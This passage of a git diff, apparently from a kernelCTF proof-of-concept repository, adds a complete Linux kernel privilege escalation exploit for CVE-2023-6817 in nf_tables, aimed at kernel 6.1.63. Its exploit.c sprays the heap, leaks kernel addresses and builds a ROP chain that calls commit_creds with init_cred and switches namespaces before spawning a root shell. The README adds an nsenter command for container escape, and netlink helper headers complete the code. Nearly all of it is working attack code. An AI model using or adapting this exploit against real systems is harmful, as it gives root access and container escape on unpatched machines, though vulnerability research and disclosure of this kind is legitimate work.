NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + nla_put_string(msg2, NFTA_TABLE_NAME, name); + nla_put(msg2,NFTA_TABLE_USERDATA,len,udata); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create table\n"); + } +} diff --git a/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/exploit/lts-6.1.63/Makefile b/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/exploit/lts-6.1.63/Makefile new file mode 100644 index 00000000..e2a6e2ce --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/exploit/lts-6.1.63/Makefile @@ -0,0 +1,9 @@ +exploit: + gcc -o exploit exploit.c -I/usr/include/libnl3 -lnl-nf-3 -lnl-route-3 -lnl-3 -static +prerequisites: + sudo apt-get install libnl-nf-3-dev +run: + ./exploit + +clean: + rm exploit diff --git a/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/exploit/lts-6.1.63/README b/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/exploit/lts-6.1.63/README new file mode 100644 index 00000000..376ad163 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/exploit/lts-6.1.63/README @@ -0,0 +1,2 @@ +Exploit for kctf LTS 6.1.63 +Run command "nsenter --target 1 -m -p" after run the poc. diff --git a/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/exploit/lts-6.1.63/chain.h b/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/exploit/lts-6.1.63/chain.h new file mode 100644 index 00000000..83887777 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/exploit/lts-6.1.63/chain.h @@ -0,0 +1,120 @@ +extern int cur_handle; +void new_chain(struct nl_sock * socket, char *table_name, char *chain_name, int if_binding){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2;//NFPROTO_IPV4; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWCHAIN),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + nla_put_string(msg2, NFTA_CHAIN_TABLE, table_name); + nla_put_string(msg2, NFTA_CHAIN_NAME, chain_name); + if(if_binding>0){ + nla_put_u32(msg2, NFTA_CHAIN_FLAGS, htonl(NFT_CHAIN_BINDING)); + } + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create chain %s\n",chain_name); + } + cur_handle++; +} + + + +void del_chain(struct nl_sock * socket, char *table_name, char *chain_name){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2;//NFPROTO_IPV4; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_DELCHAIN),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST + ); + nla_put_string(msg2, NFTA_CHAIN_TABLE, table_name); + nla_put_string(msg2, NFTA_CHAIN_NAME, chain_name); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Delete chain %s\n",chain_name); + } +} diff --git a/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/exploit/lts-6.1.63/exploit b/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/exploit/lts-6.1.63/exploit new file mode 100644 index 00000000..0bb5e154 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/exploit/lts-6.1.63/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/exploit/lts-6.1.63/exploit.c b/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/exploit/lts-6.1.63/exploit.c new file mode 100644 index 00000000..df81211d --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/exploit/lts-6.1.63/exploit.c @@ -0,0 +1,496 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "obj.h" +#include "setelem.h" +#include "table.h" +#include "set.h" +#include "chain.h" + +enum nf_inet_hooks { + NF_INET_PRE_ROUTING, + NF_INET_LOCAL_IN, + NF_INET_FORWARD, + NF_INET_LOCAL_OUT, + NF_INET_POST_ROUTING, + NF_INET_NUMHOOKS, +}; + +char *leak_data = NULL; +int table_num = 0; +uint64_t leak_ops = 0, target_heap = 0, kernel_off = 0; +unsigned long user_cs,user_ss,user_rsp,user_rflags; +int cur_handle = 0; +void shell(){ + printf("ret2usr success! uid : %d\n",getuid()); + char *args[] = {"/bin/sh", "-i", NULL}; + execve(args[0], args, NULL); + //while(1); +} + +static void save_state() { + asm( + "movq %%cs, %0\n" + "movq %%ss, %1\n" + "movq %%rsp, %2\n" + "pushfq\n" + "popq %3\n" + : "=r" (user_cs), "=r" (user_ss), "=r" (user_rsp),"=r" (user_rflags) : : "memory"); +} + +void pin_on_cpu(int cpu) { + cpu_set_t cpu_set; + CPU_ZERO(&cpu_set); + CPU_SET(cpu, &cpu_set); + if (sched_setaffinity(0, sizeof(cpu_set), &cpu_set) != 0) { + perror("sched_setaffinity()"); + exit(EXIT_FAILURE); + } + usleep(1000); +} + +int setup_sandbox(void) { + if (unshare(CLONE_NEWUSER) < 0) { + perror("[-] unshare(CLONE_NEWUSER)"); + return -1; + } + if (unshare(CLONE_NEWNET) < 0) { + perror("[-] unshare(CLONE_NEWNET)"); + return -1; + } + pin_on_cpu(0); + return 0; +} + + + +void send_msg_list(struct nl_sock * socket, struct nlmsghdr **msg_list, int num){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + int i; + for(i=0;inlmsg_len); + } + char *buf = malloc(total_size); + memset(buf, 0, total_size); + memcpy(buf, hdr1, NLMSG_ALIGN(hdr1->nlmsg_len)); + char *off = buf + NLMSG_ALIGN(hdr1->nlmsg_len); + for(i=0;inlmsg_len)); + off = off + NLMSG_ALIGN(msg_list[i]->nlmsg_len); + } + memcpy(off, hdr3, NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + if (res < 0) { + printf("sending message failed\n"); + } +} + +int nl_callback_leak_ops(struct nl_msg* recv_msg, void* arg) +{ + + struct nlmsghdr * ret_hdr = nlmsg_hdr(recv_msg); + struct nlattr * tb_msg[NFTA_SET_MAX+1]; + memset(tb_msg, 0, NFTA_SET_MAX * 8); + printf("Get message back!\n"); + + if (ret_hdr->nlmsg_type == NLMSG_ERROR) { + //printf("Received NLMSG_ERROR message!\n"); + return NL_STOP; + } + + struct nlattr *attr = (void *)ret_hdr + nlmsg_total_size(sizeof(struct nfgenmsg)); + int attrlen = ret_hdr->nlmsg_len - nlmsg_total_size(sizeof(struct nfgenmsg)); + nla_parse(tb_msg, NFTA_SET_MAX, attr, attrlen, NULL); + char * table_name=NULL; + char * set_name=NULL; + if (tb_msg[NFTA_SET_ELEM_LIST_ELEMENTS]){ + struct nlattr * tb_msg2[NFTA_SET_MAX+1]; + memset(tb_msg2, 0, NFTA_SET_MAX * 8); + nla_parse_nested(tb_msg2, NFTA_SET_MAX, tb_msg[NFTA_SET_ELEM_LIST_ELEMENTS],NULL); + + struct nlattr * tb_msg3[NFTA_SET_MAX+1]; + memset(tb_msg3, 0, NFTA_SET_MAX * 8); + nla_parse_nested(tb_msg3, NFTA_SET_MAX, tb_msg2[1],NULL); + char *val = malloc(nla_len(tb_msg3[NFTA_SET_ELEM_OBJREF])); + nla_memcpy(val, tb_msg3[NFTA_SET_ELEM_OBJREF], nla_len(tb_msg3[NFTA_SET_ELEM_OBJREF])); + printf("Get ops : %llx\n", (*(uint64_t *)val)<<8); + leak_ops = (*(uint64_t *)val)<<8; + } + else + printf("No NFTA_SET_ELEM_LIST_ELEMENTS\n"); + return NL_OK; +} + +int nl_callback_find_target_setelem(struct nl_msg* recv_msg, void* arg) +{ + + struct nlmsghdr * ret_hdr = nlmsg_hdr(recv_msg); + struct nlattr * tb_msg[NFTA_SET_MAX+1]; + memset(tb_msg, 0, NFTA_SET_MAX * 8); + //printf("Get message back!\n"); + + if (ret_hdr->nlmsg_type == NLMSG_ERROR) { + //printf("Received NLMSG_ERROR message!\n"); + return NL_STOP; + } + + struct nlattr *attr = (void *)ret_hdr + nlmsg_total_size(sizeof(struct nfgenmsg)); + int attrlen = ret_hdr->nlmsg_len - nlmsg_total_size(sizeof(struct nfgenmsg)); + nla_parse(tb_msg, NFTA_SET_MAX, attr, attrlen, NULL); + char * table_name=NULL; + char * set_name=NULL; + + if (tb_msg[NFTA_SET_ELEM_LIST_ELEMENTS]){ + struct nlattr * tb_msg2[NFTA_SET_MAX+1]; + memset(tb_msg2, 0, NFTA_SET_MAX * 8); + nla_parse_nested(tb_msg2, NFTA_SET_MAX, tb_msg[NFTA_SET_ELEM_LIST_ELEMENTS],NULL); + + struct nlattr * tb_msg3[NFTA_SET_MAX+1]; + memset(tb_msg3, 0, NFTA_SET_MAX * 8); + nla_parse_nested(tb_msg3, NFTA_SET_MAX, tb_msg2[1],NULL); + char *val = malloc(nla_len(tb_msg3[NFTA_SET_ELEM_KEY])); + nla_memcpy(val, tb_msg3[NFTA_SET_ELEM_KEY], nla_len(tb_msg3[NFTA_SET_ELEM_KEY])); + //printf("Get key : %llx\n", *(uint64_t *)(val+4)); + uint32_t udata_len = nla_len(tb_msg3[NFTA_SET_ELEM_USERDATA]); + if(udata_len != 0xa1) + printf("udata len : %d\n",udata_len); + if(udata_len > 0xb0){ + //get leak + printf("udata len : %d\n",udata_len); + leak_data = malloc(nla_len(tb_msg3[NFTA_SET_ELEM_USERDATA])); + memset(leak_data,0,nla_len(tb_msg3[NFTA_SET_ELEM_USERDATA])); + nla_memcpy(leak_data, tb_msg3[NFTA_SET_ELEM_USERDATA], nla_len(tb_msg3[NFTA_SET_ELEM_USERDATA])); + printf("Target key : %llx\n",*(uint64_t *)(val+4)); + } + } + else + printf("No NFTA_SET_ELEM_LIST_ELEMENTS\n"); + return NL_OK; +} + +void spray_tables(struct nl_sock * socket, int len, char *udata, int size){ + char *tmp = malloc(0x100); + memset(tmp,0,0x100); + int i; + for(i=0;iuse-- +void primitive_0(struct nl_sock *socket, char *table, char *target_obj){ + char *tmp_set = "pipapo set for primitive"; + new_set_pipapo(socket,table, tmp_set, 0x40, NFT_OBJECT_CT_EXPECT); + char *key = malloc(0x40); + char *key_end = malloc(0x40); + memset(key,0,0x40); + memset(key_end,0,0x40); + new_setelem(socket, table, tmp_set, NULL, 0, target_obj, key, 0x40, key_end, 0x40, 0); + + struct nlmsghdr **msg_list = malloc(sizeof(struct nlmsghdr *)*2); + msg_list[0] = del_setelem_msg(table, tmp_set, key, 0x40, key_end, 0x40); + msg_list[1] = del_set_msg(table, tmp_set); + send_msg_list(socket, msg_list, 2); +} + + + +void primitive_1(struct nl_sock *socket, char *table, char *target_chain){ + char *tmp_set = "pipapo set for primitive"; + new_set_pipapo_for_poc_chain(socket, table, tmp_set, 0x40); + char *key = malloc(0x40); + char *key_end = malloc(0x40); + memset(key,0,0x40); + memset(key_end,0,0x40); + new_setelem_with_chain(socket, table, tmp_set, NULL, 0, key, 0x40, key_end, 0x40, target_chain); + struct nlmsghdr **msg_list = malloc(sizeof(struct nlmsghdr *)*2); + msg_list[0] = del_setelem_msg(table, tmp_set, key, 0x40, key_end, 0x40); + msg_list[1] = del_set_msg(table, tmp_set); + send_msg_list(socket, msg_list, 2); +} + +void leak_and_prepare_rop(struct nl_sock *socket){ + int i; + char *pipapo_set = "set pipapo for leak"; + char *hash_set = "set hashtable for leak"; + char *hash_set_2 = "set hashtable 2 for leak"; + char *target_obj = "obj_for_leak_32"; + char *obj_for_leak = "obj_for_leak_a"; + char *table = "table for leak"; + new_table(socket, table); + new_obj_ct_expect(socket, table, obj_for_leak, NULL, 0); + + new_set_pipapo(socket,table, pipapo_set, 0x40, NFT_OBJECT_CT_EXPECT); + new_set_hashtable_with_map(socket, table, hash_set, 8); + new_set_hashtable(socket, table, hash_set_2, NFT_OBJECT_CT_EXPECT, 8); + char *key = malloc(0x40); + char *key_end = malloc(0x40); + uint64_t hash_key; + + + nl_socket_modify_cb(socket,NL_CB_MSG_IN, NL_CB_CUSTOM, nl_callback_find_target_setelem, NULL); + + //step 1 + //spray some objects + char *pad = malloc(0x100); + memset(pad,0x41,0x100); + char *obj_name = malloc(0x40); + memset(obj_name,0,0x40); + + for(i=0;i<0x40;i++){ + snprintf(obj_name,0x40,"obj_for_leak_%d",i); + new_obj_ct_expect(socket, table, obj_name, NULL, 0); + } + + //step 2 + //make target_obj->use = 0xa5 + + for(i=0;i<0xa4;i++){ + memset(key,i,0x40); + memset(key_end,i,0x40); + new_setelem(socket, table, pipapo_set, pad, 0x100, target_obj, key, 0x40, key_end, 0x40, 0); + } + hash_key = 0xdeadbeef; + new_setelem(socket, table, hash_set_2, pad, 0x100, target_obj, &hash_key, 8, NULL, 0, 0); + //step 3 + //make target_obj->use = 0 + for(i=0;i<0xa5;i++){ + primitive_0(socket, table, target_obj); + } + + sleep(2); + + //step 4 + //delete target obj + del_obj(socket, table, target_obj, NFT_OBJECT_CT_EXPECT); + sleep(2); + + //step 5 + //get heap back + for(i=0;i<0x1000;i++){ + //printf("%d\n",i); + *(uint64_t *)pad = i; + hash_key = i; + new_setelem_with_elemdata(socket, table, hash_set, pad, 0xa1, &hash_key, 8, NULL, 0,0); + } + + //step 6 + //make setelem->udata_len = 0xfc + elem_flush(socket, table, pipapo_set); + sleep(2); + + //step 7 Get leak data + struct nl_sock * socket2 = nl_socket_alloc(); + if(nfnl_connect(socket2)<0){ + printf("nfnl_connect fail!\n"); + return 0; + } + //function nl_callback_find_target_setelem will be called once we call nl_recvmsgs_default + //check the api documents and the source code for details: + //nl_socket_modify_cb: https://www.infradead.org/~tgr/libnl/doc/api/group__socket.html#gaeee66d6edef118209c7e7f1e3d393448 + //nl_recvmsgs_default: https://www.infradead.org/~tgr/libnl/doc/api/group__send__recv.html#ga49b150fbb38a00444d5f6e323f05a2a1 + nl_socket_modify_cb(socket2,NL_CB_MSG_IN, NL_CB_CUSTOM, nl_callback_find_target_setelem, NULL); + for(i=0;i<0x1000;i++){ + hash_key = i; + get_setelem(socket2, table, hash_set, &hash_key, 8); + nl_recvmsgs_default(socket2); + nl_recvmsgs_default(socket2); + } + uint64_t obj_a = *(uint64_t *)&leak_data[0xcb]; + uint64_t obj_b = *(uint64_t *)&leak_data[0xcb+8]; + printf("leak obj A heap : %llx\n",obj_a); + printf("leak obj B heap : %llx\n",obj_b); + + //step 8 Delete all the set elements created in step 5 + elem_flush(socket, table, hash_set); + sleep(2); + + + //step 9 Spray heap + *(uint64_t *)&pad[0x20] = obj_a + 0x80 + 1; //because address of nft_ct_expect_obj_ops is ffffffff82b29000 + spray_tables(socket,0x400, pad, 0xcc); + printf("spray finish\n"); + hash_key = 0xdeadbeef; + + //function nl_callback_leak_ops will be called once we call nl_recvmsgs_default + //check the api documents and the source code for details: + //nl_socket_modify_cb: https://www.infradead.org/~tgr/libnl/doc/api/group__socket.html#gaeee66d6edef118209c7e7f1e3d393448 + //nl_recvmsgs_default: https://www.infradead.org/~tgr/libnl/doc/api/group__send__recv.html#ga49b150fbb38a00444d5f6e323f05a2a1 + //step 10 + nl_socket_modify_cb(socket2,NL_CB_MSG_IN, NL_CB_CUSTOM, nl_callback_leak_ops, NULL); + get_setelem(socket2, table, hash_set_2, &hash_key,8); + nl_recvmsgs_default(socket2); + nl_recvmsgs_default(socket2); + printf("Leak end.\n"); + printf("Start preparing ROP gadget in heap.\n"); + kernel_off = leak_ops - 0xffffffff82b29000; + char *ops = malloc(0x100); + //ops->dump + *(uint64_t *)&ops[0x40] = kernel_off + 0xFFFFFFFF8165A0A3;//leave ; ret + //ops->type + *(uint64_t *)&ops[0x78] = kernel_off + 0xFFFFFFFF83966FA0;//last type + *(uint64_t *)&ops[0x08] = kernel_off + 0xffffffff8112af20;//pop rdi; ret + *(uint64_t *)&ops[0x10] = kernel_off + 0xFFFFFFFF83676880;//init_cred + *(uint64_t *)&ops[0x18] = kernel_off + 0xFFFFFFFF811BB3F0;//commit_creds; + *(uint64_t *)&ops[0x20] = kernel_off + 0xffffffff8111215f;//pop rdi ; pop r14 ; pop r13 ; pop r12 ; pop rbp ; pop rbx ; ret + *(uint64_t *)&ops[0x28] = 1; + *(uint64_t *)&ops[0x58] = kernel_off + 0xFFFFFFFF811B1DD0;//find_task_by_vpid + *(uint64_t *)&ops[0x60] = kernel_off + 0xffffffff810d4f11;//mov rdi, rax ; mov eax, ebx ; pop rbx ; or rax, rdi ; ret + *(uint64_t *)&ops[0x68] = 0; + *(uint64_t *)&ops[0x70] = kernel_off + 0xFFFFFFFF81112167;//pop rbx ; ret ; because ops->0x78 is the last_type + *(uint64_t *)&ops[0x80] = kernel_off + 0xFFFFFFFF81841C4E;//pop rsi ; ret + *(uint64_t *)&ops[0x88] = kernel_off + 0xFFFFFFFF83676640;//init_nsproxy + *(uint64_t *)&ops[0x90] = kernel_off + 0xFFFFFFFF811B9860;//switch_task_namespaces + *(uint64_t *)&ops[0x98] = kernel_off + 0xFFFFFFFF82167E16;//swapgs; ret + *(uint64_t *)&ops[0xa0] = kernel_off + 0xFFFFFFFF822011D7;//iretq + *(uint64_t *)&ops[0xa8] = (uint64_t)shell; + *(uint64_t *)&ops[0xb0] = user_cs; + *(uint64_t *)&ops[0xb8] = user_rflags; + *(uint64_t *)&ops[0xc0] = user_rsp|8; + *(uint64_t *)&ops[0xc8] = user_ss; + //step 11 + //free the last object. + for(i=0;i<0x40;i++){ + if(i==0x20) + continue; + snprintf(obj_name,0x40,"obj_for_leak_%d",i); + del_obj(socket, table, obj_name, NFT_OBJECT_CT_EXPECT); + } + //heap spray to fill target heap + spray_tables(socket,0x800, ops, 0xe8); + printf("Finish prepare.\n"); + target_heap = obj_a; + +} + + +void jmp_rop(struct nl_sock * socket){ + char *pipapo_set = "set pipapo for rop"; + char *hash_set_for_expr = "set hashtable for expr"; + char *table = "table for rop"; + char *target_chain = "chain for rop"; + int i; + printf("start rop\n"); + new_table(socket, table); + cur_handle = 0; + new_chain(socket, table, target_chain, 0); + + new_set_pipapo_for_poc_chain(socket, table, pipapo_set, 0x40); + new_set_hashtable_with_elemdata(socket, table, hash_set_for_expr, 0x30, 0x10); + + nl_socket_modify_cb(socket,NL_CB_MSG_IN, NL_CB_CUSTOM, nl_callback_find_target_setelem, NULL); + + //step 1 + //create some elements to make chain->use = 0x20 + + char *pad = malloc(0x100); + memset(pad,0x41,0x100); + char *key = malloc(0x40); + char *key_end = malloc(0x40); + char *hash_key_48 = malloc(48); + memset(hash_key_48, 0, 48); + + for(i=0;i<0x20;i++){ + memset(key,i,0x40); + memset(key_end,i,0x40); + new_setelem_with_chain(socket, table, pipapo_set, pad, 0x100, key, 0x40, key_end, 0x40, target_chain); + } + //step 2 trigger vul to make chain->use = 0 + for(i=0;i<0x20;i++){ + primitive_1(socket, table, target_chain); + } + + //step 3 delete target chain + del_chain(socket, table, target_chain); + sleep(5); + //step 4 create normal set elem with expr, make offsetof(chain->use) == offsetof(expr->size) + *(uint64_t *)&pad[0] = target_heap;//expr->ops + *(uint64_t *)&pad[8] = kernel_off + 0xFFFFFFFF8165A0A3;//leave ; ret + for(i=0;i<0x1000;i++){ + *(uint64_t *)hash_key_48 = i; + new_setelem_with_expr_and_elemdata(socket, table, hash_set_for_expr, pad, 0x10, NULL, hash_key_48, 48, NULL, 0); + } + + + //step 5 flush set to change the expr->size; + elem_flush(socket, table, pipapo_set); + + //step 6 jmp to ROP; + + for(i=0;i<0x800;i++){ + *(uint64_t *)hash_key_48 = i; + get_setelem(socket, table, hash_set_for_expr, hash_key_48,48); + } + + printf("end\n"); + while(1); + +} + + +int main(void) { + if (setup_sandbox() < 0){ + printf("Create sandbox fail!\n"); + return 0; + } + save_state(); + struct nl_sock * socket = nl_socket_alloc(); + + if(nfnl_connect(socket)<0){ + printf("nfnl_connect fail!\n"); + return 0; + } + + leak_and_prepare_rop(socket); + jmp_rop(socket); + + return 0; +} diff --git a/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/exploit/lts-6.1.63/obj.h b/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/exploit/lts-6.1.63/obj.h new file mode 100644 index 00000000..5ca34990 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/exploit/lts-6.1.63/obj.h @@ -0,0 +1,136 @@ +extern int cur_handle; +void new_obj_ct_expect(struct nl_sock * socket, char *table_name, char *obj_name, void *udata, uint32_t ulen){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWOBJ),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + //create test1 + struct nl_msg *data = nlmsg_alloc(); + char *a = malloc(0x100); + memset(a,0x41,0x100); + + nla_put_u8(data, NFTA_CT_EXPECT_L4PROTO, 0x41); + nla_put_u16(data, NFTA_CT_EXPECT_DPORT, 0x4141); + nla_put_u32(data, NFTA_CT_EXPECT_TIMEOUT, 0x41414141); + nla_put_u8(data, NFTA_CT_EXPECT_SIZE, 0x41); + nla_put_nested(msg2, NFTA_OBJ_DATA, data); + nla_put_string(msg2, NFTA_OBJ_NAME, obj_name); + nla_put_u32(msg2, NFTA_OBJ_TYPE, htonl(NFT_OBJECT_CT_EXPECT)); + nla_put_string(msg2, NFTA_OBJ_TABLE, table_name); + if(udata>0) + nla_put(msg2, NFTA_OBJ_USERDATA, ulen, udata); + //int res = nl_send_auto(socket, msg); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create %s\n",obj_name); + } + cur_handle++; +} + +void del_obj(struct nl_sock * socket, char *table_name, char 